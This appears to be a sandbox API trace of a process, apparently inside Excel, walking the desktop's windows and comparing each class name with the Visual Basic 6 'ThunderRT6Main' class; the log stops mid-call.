GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0237.920] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.920] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.920] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0237.920] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0237.920] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0237.920] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0237.920] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.920] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0237.920] GetClassNameA (in: hWnd=0x10084, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.920] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.921] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0237.921] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0237.921] GetClassNameA (in: hWnd=0x10082, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.921] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.921] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.921] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0237.921] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.921] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.921] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.921] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0237.921] GetClassNameA (in: hWnd=0x10068, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.921] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.921] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.921] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0237.921] GetClassNameA (in: hWnd=0x20020, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="#43") returned 3 [0237.921] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0237.921] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0237.921] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0237.921] GetClassNameA (in: hWnd=0x20024, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.921] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.921] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0237.921] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0237.921] GetClassNameA (in: hWnd=0x10064, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0237.921] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0237.922] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.922] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0237.922] GetClassNameA (in: hWnd=0x10052, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0237.922] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0237.922] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0237.922] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0237.922] GetClassNameA (in: hWnd=0x10054, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.922] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.922] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0237.922] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0237.922] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0237.922] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0237.922] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.922] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0237.922] GetClassNameA (in: hWnd=0x10044, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0237.922] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0237.922] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.922] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0237.922] GetClassNameA (in: hWnd=0x20040, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0237.922] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0237.923] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.923] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0237.923] GetClassNameA (in: hWnd=0x10042, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.923] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.923] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.923] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0237.923] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0237.923] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0237.923] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0237.923] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0237.923] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.923] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.923] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0237.923] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0237.923] GetClassNameA (in: hWnd=0x20022, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0237.923] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0237.923] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0237.923] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0237.923] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0237.923] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0237.923] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.923] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0237.923] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7a97600 [0237.924] IMalloc:Free (This=0x7fefecb5380, pv=0x7a97600) [0238.081] GetCurrentThreadId () returned 0xbdc [0238.081] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0238.081] GetDesktopWindow () returned 0x10010 [0238.081] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0238.081] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.081] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.081] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.082] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0238.082] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.082] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.082] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.082] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0238.082] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.082] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.082] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.082] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0238.082] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0238.082] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0238.082] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0238.082] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0238.082] GetClassNameA (in: hWnd=0x10136, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0238.082] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0238.082] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0238.082] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0238.082] GetClassNameA (in: hWnd=0x10134, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0238.082] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0238.082] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0238.082] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0238.082] GetClassNameA (in: hWnd=0x10076, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.082] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.082] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.082] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0238.082] GetClassNameA (in: hWnd=0x10074, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.083] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.083] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0238.083] GetClassNameA (in: hWnd=0x10060, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.083] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.083] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0238.083] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.083] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.083] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0238.083] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.083] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.083] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0238.083] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.083] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.083] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0238.083] GetClassNameA (in: hWnd=0x10078, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.083] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.083] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0238.083] GetClassNameA (in: hWnd=0x10056, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0238.083] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0238.083] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.083] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0238.084] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0238.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0238.084] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.084] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0238.084] GetClassNameA (in: hWnd=0x10058, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Button") returned 6 [0238.084] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0238.084] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.084] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0238.084] GetClassNameA (in: hWnd=0x10050, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0238.084] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0238.084] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.084] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0238.084] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.084] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.084] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0238.084] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0238.084] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0238.084] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0238.084] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.084] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0238.084] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0238.084] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0238.084] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0238.084] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0238.084] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0238.084] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0238.084] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.085] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0238.085] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0238.085] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0238.085] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0238.085] GetClassNameA (in: hWnd=0x30154, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0238.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0238.085] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.085] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0238.085] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0238.085] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0238.085] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0238.085] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0238.085] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0238.085] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.085] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0238.085] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0238.085] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0238.085] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0238.085] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0238.085] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0238.085] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.085] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0238.085] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0238.085] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0238.085] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0238.085] GetClassNameA (in: hWnd=0x140264, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0238.085] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0238.085] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0238.085] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0238.085] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0238.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0238.086] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0238.086] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0238.086] GetClassNameA (in: hWnd=0x20360, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0238.086] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0238.086] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.086] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0238.086] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0238.086] IsWindowEnabled (hWnd=0x20360) returned 1 [0238.086] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0238.086] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0238.086] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0238.086] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0238.086] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0238.086] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0238.086] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.086] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0238.086] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0238.086] GetClassNameA (in: hWnd=0x10350, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0238.086] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0238.086] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0238.086] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0238.086] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0238.086] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0238.086] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.087] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0238.087] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0238.087] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0238.087] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0238.087] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0238.087] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0238.087] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.087] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0238.087] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0238.087] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0238.087] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0238.087] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0238.087] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0238.087] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.087] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0238.087] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0238.087] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0238.088] GetClassNameA (in: hWnd=0x10270, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0238.088] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0238.088] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0238.088] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0238.088] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0238.088] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0238.090] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0238.090] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0238.090] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0238.090] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0238.090] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0238.091] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7cfb900 [0238.091] IMalloc:Free (This=0x7fefecb5380, pv=0x7cfb900) [0241.537] GetAsyncKeyState (vKey=27) returned 0 [0241.537] GetCurrentThreadId () returned 0xbdc [0241.537] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0241.537] GetDesktopWindow () returned 0x10010 [0241.537] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0241.537] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.537] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.537] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.537] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0241.537] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.537] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.537] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.537] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0241.537] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.537] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.537] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.538] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0241.538] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0241.538] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0241.538] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0241.538] GetClassNameA (in: hWnd=0x10136, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.538] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0241.538] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0241.538] GetClassNameA (in: hWnd=0x10134, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0241.538] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0241.538] GetWindow 